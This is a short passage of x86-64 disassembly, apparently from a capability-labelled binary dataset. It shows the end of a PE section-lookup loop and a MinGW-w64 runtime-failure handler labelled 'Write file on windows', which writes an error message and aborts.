sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402e04
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402e0f
add rax, 0x28
cmp rax, r9
jne 0x402df0
xor eax, eax
add rsp, 0x28
ret

Function at 0x403350
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp 0x401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00403190
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00403190
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530